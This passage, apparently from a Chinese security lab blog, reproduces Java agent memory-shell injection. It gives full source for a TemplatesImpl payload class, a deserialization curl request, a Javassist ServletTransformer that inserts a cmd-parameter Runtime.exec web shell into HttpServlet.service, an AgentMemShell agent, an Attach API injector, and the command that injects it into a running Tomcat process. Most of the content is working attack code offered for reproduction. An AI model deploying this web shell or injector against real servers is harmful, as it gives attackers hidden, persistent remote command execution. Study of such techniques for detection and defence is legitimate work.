MyVirtualMachine.getDeclaredMethod("detach",null); detach.invoke(vm,null); System.out.println("Agent.jar Inject Success !!"); break; } } } catch (Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public Test(){ } }用 java-chains , 把
Test.class注入到TemplatesImpl的_bytecodes,生成了JavaNativePayload_…txt文件。
选好类型链之后将我们前面的Test.class传上去

然后生成并下载Payload

然后使用curl语句将序列化数据打过去
我把名字改短了,而且把他放在了桌面,大家复现的复现的时候自行修改即可(生成的虽然是.txt,但它的本质内容通常并不是普通的文本,走ser就好)1
curl -v "http://localhost:8080/cc" --data-binary "@C:\Users\95227\Desktop\exp.ser"
这里他竟然没有成功!!!!!
解决:
问题解决:
问了一下ai;问题尽然出在Test.java文件里面的jar包路径上,因为有中文路径所以读取不到jar包但是为什么agent那个项目里面可以读取到呢???
简单来说就是环境变了
修改Text.java,将jar包放在全英文路径下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61package org.example.payload2; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Test extends AbstractTranslet { static { try{ java.lang.String path = "\"D:\\software\\exp\\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar\""; java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar"); java.net.URL url = toolsPath.toURI().toURL(); java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url}); Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null); java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null); System.out.println("Running JVM list ..."); for(int i=0;i<list.size();i++){ Object o = list.get(i); java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null); java.lang.String name = (java.lang.String) displayName.invoke(o,null); // 列出当前有哪些 JVM 进程在运行 // 这里的 if 条件根据实际情况进行更改 if (name.contains("org.example.spring_agent.SpringAgentApplication")){ // 获取对应进程的 pid 号 java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null); java.lang.String id = (java.lang.String) getId.invoke(o,null); System.out.println("id >>> " + id); java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class}); java.lang.Object vm = attach.invoke(o,new Object[]{id}); java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class}); loadAgent.invoke(vm,new Object[]{path}); java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null); detach.invoke(vm,null); System.out.println("Agent.jar Inject Success !!"); break; } } } catch (Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public Test(){ } }按照上面的操作进行即可


完美解决

方法二
思路:
- 编译并打包
AgentMemShell为agentmemshell.jar。 - 编译
Injector(需要tools.jar,通常在JAVA_HOME/lib/下)。 - 运行
Injector,指定目标 Tomcat 的 PID。 - 访问任何 Servlet 路径,带上
?cmd=whoami参数,即可执行命令。
xml:
对应这个xml和上面的不同的点在于,我们两个包不同,前面的是
<Agent-Class>org.example.payload2.AgentMain</Agent-Class>
现在是:<Agent-Class>org.example.payload.AgentMemShell</Agent-Class>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>Agent</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<!-- https://mvnrepository.com/artifact/com.sun/tools -->
<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<version>1.8.0_65</version>
<scope>system</scope>
<systemPath>C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar</systemPath>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
<compilerArgs>
<arg>-XDignore.symbol.file</arg>
</compilerArgs>
<fork>true</fork>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.3.0</version>
<configuration>
<archive>
<manifestEntries>
<Agent-Class>org.example.payload.AgentMemShell</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
</project>=ServletTransformer
ServletTransformer:使用 Javassist 库,在字节码层面修改特定的类(如
HttpServlet)。它在原本正常的方法(如service)开头注入一段读请求、调系统的“恶意逻辑”。在合适位置载入恶意逻辑1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85package org.example.payload; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javassist.LoaderClassPath; import java.lang.instrument.ClassFileTransformer; import java.security.ProtectionDomain; public class ServletTransformer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { try { // 打印所有被加载的类,便于调试(仅第一次注入时启用) if (className != null && className.contains("servlet")) { System.out.println("[Debug] Loading class: " + className); } // className 可能是 "javax/servlet/http/HttpServlet" // 也可能是 "javax.servlet.http.HttpServlet" String dotName = className.replace('/', '.'); // 精确匹配 HttpServlet 类 if ("javax.servlet.http.HttpServlet".equals(dotName)) { System.out.println("[+] Found target class: " + dotName); System.out.println("[+] Start transforming HttpServlet..."); // 初始化 Javassist ClassPool 并添加当前 ClassLoader 的路径 ClassPool classPool = ClassPool.getDefault(); if (loader != null) { classPool.insertClassPath(new LoaderClassPath(loader)); } // 获取类定义 CtClass ctClass = classPool.get(dotName); CtMethod serviceMethod = ctClass.getDeclaredMethod("service"); // 恶意逻辑 String shell = "" + "{" + " javax.servlet.http.HttpServletRequest req = (javax.servlet.http.HttpServletRequest)$1;" + " javax.servlet.http.HttpServletResponse res = (javax.servlet.http.HttpServletResponse)$2;" + " String cmd = req.getParameter(\"cmd\");" + " if (cmd != null) {" + " try {" + " java.util.Scanner s = new java.util.Scanner(" + " Runtime.getRuntime().exec(cmd).getInputStream(), \"UTF-8\"" + " ).useDelimiter(\"\\\\A\");" + " String output = s.hasNext() ? s.next() : \"\";" + " res.setContentType(\"text/plain;charset=UTF-8\");" + " res.getWriter().write(output);" + " res.getWriter().flush();" + " return;" + " } catch (Exception e) {" + " e.printStackTrace();" + " }" + " }" + "}"; // 在 service 方法的开头插入 serviceMethod.insertBefore(shell); byte[] newClassBytes = ctClass.toBytecode(); ctClass.detach(); System.out.println("[+] HttpServlet Transformed Complete."); return newClassBytes; } } catch (Throwable e) { System.out.println("[!] Transform failed: " + e); e.printStackTrace(); } // 返回 null 表示不修改该类 return null; } }
AgentMemShell
AgentMemShell:将其作为jar包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31package org.example.payload; import java.lang.instrument.Instrumentation; public class AgentMemShell { public static void agentmain(String agentArgs, Instrumentation inst) { System.out.println("AgentMemShell Injected!"); // 添加类转换器 inst.addTransformer(new ServletTransformer(), true); // 找到所有已加载的 HttpServlet 类并进行重转换 Class[] loadedClasses = inst.getAllLoadedClasses(); for (Class clazz : loadedClasses) { if (clazz.getName().equals("javax.servlet.http.HttpServlet")) { try { System.out.println("Found HttpServlet:"+clazz); inst.retransformClasses(clazz); System.out.println("Retransform HttpServlet Success."); } catch (Exception e) { e.printStackTrace(); } break; } } } public static void premain(String agentArgs, Instrumentation inst) { agentmain(agentArgs, inst); } }
Injector
Injector:找到目标,将jar包放进去
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41package org.example.payload; import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor; import java.util.List; public class Injector { public static void main(String args[]) throws Exception{ if (args.length < 2) { System.out.println("Usage: java -jar injector.jar <pid> <agent_jar_path>"); System.out.println("Available JVM processes:"); listProcesses(); return; } String pid = args[0]; String agentJarPath = args[1]; try { System.out.println("Trying to attach to PID: " + pid); VirtualMachine vm = VirtualMachine.attach(pid); vm.loadAgent(agentJarPath); vm.detach(); System.out.println("[+] Agent injected successfully!"); } catch (Exception e) { System.err.println("[-] Injection failed: " + e.getMessage()); e.printStackTrace(); } } private static void listProcesses() { try { List<VirtualMachineDescriptor> vmList = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : vmList) { System.out.println("PID: " + vmd.id() + " - " + vmd.displayName()); } } catch (Exception e) { System.err.println("[-] Failed to list processes: " + e.getMessage()); } } }- 程序处于正常运行状态,内存中已经加载了原本的
HttpServlet。提供一个可以被注入的 PID。 - 运行 Injector,将把你的
AgentMemShell.jar路径通过 Attach API 发送给受害者进程。 - 触发 AgentMemShell,受害者进程收到通知,自动在**
自己的内存里**调用AgentMemShell的agentmain方法。它开始在受害者内部扫描HttpServlet类。找到即可 - 执行 ServletTransformer,当
AgentMemShell执行inst.retransformClasses(clazz)时,JVM 会自动调用ServletTransformer的transform方法,在这里,Javassist 真正修改了字节码
- 程序处于正常运行状态,内存中已经加载了原本的
复现
接下来起一个tomcat
在终端输入
jps -l,找到org.apache.catalina.startup.Bootstrap这个进程,前面的数字就是 PID。
1
& "C:\Program Files\Java\jdk1.8.0_65\bin\java.exe" -cp "C:\Program Files\Java\jdk1.8.0_65\lib\tools.jar;C:\Users\95227\Desktop\实验室\序列化反序列化\复现\Agent\target\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar" org.example.payload.Injector 3720 C:\Users\95227\Desktop\实验室\序列化反序列化\复现\Agent\target\Agent-1.0-SNAPSHOT-jar-with-dependencies.jar
成功!!!!